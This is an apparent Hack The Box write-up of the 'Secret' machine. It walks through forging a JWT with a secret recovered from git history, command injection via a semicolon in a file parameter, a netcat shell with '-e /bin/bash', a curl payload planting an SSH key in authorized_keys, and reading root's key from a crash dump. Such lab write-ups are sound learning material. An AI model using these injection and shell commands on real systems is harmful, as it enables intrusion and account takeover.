Hello everyone, this is my first time on writing a report about hack the box. I’m sorry if there are any mistakes that I made. I’ve got user flag and root flag on 10 January 2022.
First, I use nmap to enumerate through open ports.
nmap -p- -sC -sV -O -T4 10.10.11.120
This is what I get. As we can see, there are at least 3 ports that has open state and known service. Specifically, Port 22: SSH, Port 80: HTTP, and Port 3000: Node.js.
Port 22 used for secure shell that act as a remote to linux distro. Port 80 used for HTTP and bring us to the page of a web. Port 3000 usually used for API endpoint with node.js service.
First thing that comes up to mind is to test for common SSH password and as expected, no result.
So, I continue to open http://10.10.11.120:80/ which is the main page of DUMB Docs.
And, there is a documentation on how to use port 3000 as API endpoint.
Several things that I get after reading the documentation are this api use JWT (JSON Web Token) for verifying the user and encode the token to the base64. With this in mind, I’m trying to make an account using python script. I use dasith.works as the email domain because I’m following the examples that documentation provides.
After that, I log on to the user that I made and the API returns me a series of JSON Web Token.
And try to send request to /api/priv. The API returns me role and description of the user that I got.
Then, I remembered that dasith has admin privilege on this API.
Tried to use token that DUMB Docs gave. It didn’t work and return “invalid token”.
Curious what the token is actually saying, I decode it from base64 to ASCII.
Quick search on internet about JWT and I find several websites said that we could try to change the “alg” header to “none” or “None”. Still, no result.
Then, I find jwt.io. A website that can encode data to JWT. So, I try to change name field from “testuser123” to “theadmin” and email field from “email@example.com” to “firstname.lastname@example.org”.
Copy the token and paste it to “auth-token” header. It doesn’t work.
But, there is “secret” field in jwt.io that we can fill with secret the token use to verify signature. JWT use x.y.z format and the z part is signature part. So, I try to dirbusting using Dirbuster. ’Cause sometimes people forget to keep hidden directory from public.
url = http://10.10.11.120/
payload = /usr/share/dirbusters/wordlists/directory-list-2.3-medium.txt
threads = 100
extension = php,txt
Results show there are subdirectory named /download/files and /api/logs which never been mentioned before in the documentation. When I access /download/files, my browser starts to download files.zip. Turns out, it is the source code of this web application. Unzip it and it becomes local-web.
And now we can see all of the source code. Subfolder that contains verifying token to the API is routes. Check it and find that it requires env file (line 8).
Then, I try to see if there is any hidden files/folders using “ls -a”.
There is .env there as file and .git as folder. Now, I’m using “cat” to see the content of .env. It shows me the token secret, which is secret.
Back to jwt.io and put “secret” into secret field.
Try it again and the token is still invalid.
It means there are something wrong with secret. A lot of head scratching while reviewing files and folders of source code, I found something interesting in .git.
Turns out, the changes that were made stored inside this .git folder. Plus, “removed .env for security reasons” mentioned here. But, from what we see, .env hasn’t deleted. Searching on internet about how to use git command and I found that I can see the history of source code that has been changed.
git log -p file
Bingo! I hope this is the real secret token that I search for. Then, I put the TOKEN_SECRET to secret field and copy the authentication token.
And it works like a charm! With admin user in our hand, I hope I can gain access.
Then I tried to access http://10.10.11.120/api/logs to using “theadmin” token as “auth-token”. Before using “theadmin” authentication token, I’ve opened this subdirectory and all it said is “Access Denied”.
It mentioned “cmd: git log -oneline undefined”. I guess, the “undefined” part supposed to be a file name. A quick check on “git log -p .git/refs/head/master.” It showed me that I can use it to see the log of certain file such as index.js.
Then, I find how to send filename through API endpoint.
curl http://localhost:3000/history?file= index.js
Apply it in my script and use it to send the filename. It shows return code 200 which means successful. It mentions the return value of “git log — oneline undefined”.
And I find another trick using semicolon. I forgot that semicolon can be used to send several commands.After that, I try to access netcat by setting a listener.
git log — oneline index.js; ls
file=index.js; nc -nlvp 1234 -e /bin/bash
Got 500 error response which means there are something wrong with the server. Then, I try to use ls command to show if there are any user flag and I find “user.txt” in “/home/dasith”.
Found it! Then, I decided to make API wrapper in python for DUMB Docs. You can access it here: https://github.com/Geranard/htb-secret-wrapper. Now, that left me with root flag.
In order to take root flag, I have to gain access to SSH. So, I make .ssh file inside “/home/dasith”,
make SSH key based on RSA with 4096 bits and named it key.
ssh-keygen -t rsa -b 4096 -f key -C user@htb
Then, private and public key generated. Now, I need to transfer the public key to .ssh/authorized_keys inside target machine. So, I paste my RSA public key. SSH still requires authentication, which means there was something wrong with my code. I don’t know why my script can’t be used to send public key.
Then, I think about using curl to send the public key. Decided to put public key inside a kali variable. Because, from what I find on internet, the type of variable needs to be passed too as an environment variable.
curl -H “auth-token: TOKEN” -G — data-urlencode “file=index.js;echo $KEY_PUB >> ../.ssh/authorized_keys” “http://10.10.11.120/api/logs"
And it works. Now I could login to user as dasith. But, I still need to elevate my privilege.
First thing I do is enumerating the system. A lot of searching later, I found something inside /opt folder. Usually, /opt contains packages including codes that I can use to elevate privilege. Seeing count file in red background make me interested. When I open this “count” file, turns out it is a program that has similar function to “wc” keyword in linux which used to count characters and etc inside a file.
Quick search on internet how to do privilege elevation using program. Some articles said I should run it and crash it. Use ps to show process ID and kill it with -SIGSEGV (signal segmentation) flag because it will store the crash log and make it crashed as if there are something wrong with the memory segment. I assume “root.txt” is inside the “/root” folder.
The crash log stored in /var/crash/_opt_count.1000.crash. Those other two are not accessible. I can’t print it using “cat”. Searching for an alternative and found apport-unpack command. After unpacking the crash log, I use strings to show the content.
apport-unpack _opt_count.1000.crash /home/dasith/crash
Surprisingly, there’s file content inside root.txt and submitted it to HTB. But, I haven’t elevate the privilege yet.
So, I try to use steal the SSH private key from “/root” folder using the same method assuming “/root” is the same user as “/home/dasith” with different privilege.
And here it is, the SSH private key of root machine.
Copy and paste it to my own SSH private key and stored it under the name of “key_root”.
Change chmod (change mode) from writable and readable to readable only (code: 400). Run it again using ssh -i key_root email@example.com and successfully elevated the privilege.
That’s all! The box has been pwned.
I think, the CVSS score this box has is on critical level with score 9.9 with assumption that this is a real website on the internet. Please, correct me if I’m wrong.
Thank you for reading my report, hope this helps you or do anything good :D
This report written by Regie Tjandranata — 2440005164.